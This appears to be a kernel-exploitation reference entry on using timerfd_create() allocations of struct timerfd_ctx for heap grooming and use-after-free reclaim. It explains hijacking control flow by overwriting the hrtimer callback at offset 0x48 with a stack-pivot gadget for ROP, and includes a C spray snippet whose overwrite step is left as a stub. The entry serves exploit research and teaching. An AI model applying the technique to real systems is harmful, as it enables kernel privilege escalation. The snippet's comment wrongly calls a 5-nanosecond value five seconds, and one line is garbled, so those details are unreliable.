timerfd_ctx

#kmalloc-256#timerfd#timerfd_ctx#heapspray#controlflowhijack#rop
Slabkmalloc-256
Requiresopen-close-syscall-access
Alt Requiresuaf-write-primitive-on-timerfd_ctx (for control-flow hijack)
Givescontrolled-heap-groomoverlap-with-freed-kmalloc-N-objectcontrol-flow-hijack (via hrtimer->function overwrite)

timerfd_create() spray (struct timerfd_ctx)

timerfd provides a file-descriptor interface to kernel timers. Calling timerfd_create() causes the kernel to allocate and zero a struct timerfd_ctx. Because this allocation happens on every call and is trivial to trigger repeatedly from userspace, timerfd_create() can be used as a heap-spray primitive when its allocation size matches a vulnerable object’s slab cache.


1. Structure

// fs/timerfd.c
struct timerfd_ctx {
    union {
        struct hrtimer tmr;
        struct alarm alarm;
    } t;
    ktime_t tintv;
    ktime_t moffs;
    wait_queue_head_t wqh;
    u64 ticks;
    int clockid;
    short unsigned expired;
    short unsigned settime_flags;  /* to show in fdinfo */
    struct rcu_head rcu;
    struct list_head clist;
    spinlock_t cancel_lock;
    bool might_cancel;
};
`fs/timerfd.c:424` — `SYSCALL_DEFINE2(timerfd_create, int, clockid, int, flags)`. `SYSCALL_DEFINE2` is a macro, not a plain function — it expands out to the real function that holds this body, `__do_sys_timerfd_create()`, which is what actually calls `kzalloc_obj(*ctx)`.

2. Exploitation

Since size isn’t controllable, timerfd_ctx is a fixed-size groom/overlap primitive, not a variable-size one like msg_msg/setxattr. It’s useful for:

  • Heap Grooming — mass-allocate same-size objects to shape a target kmalloc-N cache before triggering a bug.
  • Object Overlap / UAF reclaim — reclaim a freed victim’s slot with a timerfd_ctx, then use timerfd_gettime() / timerfd_settime() / read() on that fd to read or write fields at fixed offsets into the reclaimed memory.
  • Triggering — read(tfd, &buf, sizeof(uint64_t)) on an armed timer touches ctx->ticks / ctx->expired, giving a controlled way to interact with whatever object now backs that memory.

3. Control Flow Hijack

struct hrtimer (include/linux/hrtimer_types.h) sits at offset 0 of timerfd_ctx — it’s the first field of the first field (union t’s tmr member) — so a pointer to the whole heap object is a pointer to this hrtimer:

struct hrtimer {
	struct timerqueue_linked_node	node;
	struct hrtimer_clock_base	*base;
	bool				is_queued;
	bool				is_rel;
	bool				is_soft;
	bool				is_hard;
	bool				is_lazy;
	ktime_t				_softexpires;
	enum hrtimer_restart		(*__private function)(struct hrtimer *);
};
  • Using pahole -C hrtimer vmlinux () this shifts across kernel versions/configs):
Offset from ctx Field Role
hrtimer + 0x00 hrtimer.node (first qword of it) not a callback — just the first 8 bytes of the object. Repurposed below as a data pointer, not a code pointer.
hrtimer + 0x48 hrtimer.function the callback — this is the pointer the kernel actually calls
  • So overwrite hrtimer + 0x48 with the address of a gadget. The gadget is executed when the timer gets expired.

  • Pick a gadget for stack pivoting and perform ROP to escalate privilege.


4. How to?

#include <sys/timerfd.h>
#include <unistd.h>

#define SPRAY_COUNT 0x200
static int timerfds[SPRAY_COUNT];

for (int i = 0; i < SPRAY_COUNT; i++) {
    timerfds[i] = timerfd_create(CLOCK_REALTIME, 0);
    if (timerfds[i] < 0) {
        perror("timerfd_create");
        break;
    }
}

// overwrite for stack pivoting — see section 3:
//   ctx+0x48 (hrtimer.function) -> pivot gadget address, called by __run_hrtimer()
overwrite_pointers_with_uaf();



struct itimerspec its = {
    .it_value    = { .tv_nsec = 5 }, // setting the timer to 5 seconds
    .it_interval = { .tv_nsec = 0 },
};
for (int i = 0; i < SPRAY_COUNT; i++) {
    if (timerfd_settime(timerfds[i], 0, &its, NULL) < 0)
        perror("timerfd_settime");
}


// cleanup
for (int i = 0; i < SPRAY_COUNT; i++)
    if (timerfds[i] >= 0)
        close(timerfds[i]);   // frees ctx via kfree in timerfd_release()

5. References

  • fs/timerfd.c — struct timerfd_ctx, SYSCALL_DEFINE2(timerfd_create, int, clockid, int, flags) at line 424 (expands to __do_sys_timerfd_create(), alloc site), timerfd_release() (free), timerfd_read() / do_timerfd_settime() (interact with the reclaimed object)
  • include/linux/hrtimer_types.h — struct hrtimer (function callback field)
  • kernel/time/hrtimer.c — __run_hrtimer() (fn(timer) call site)
  • Writeup: https://syst3mfailure.io/hotrod/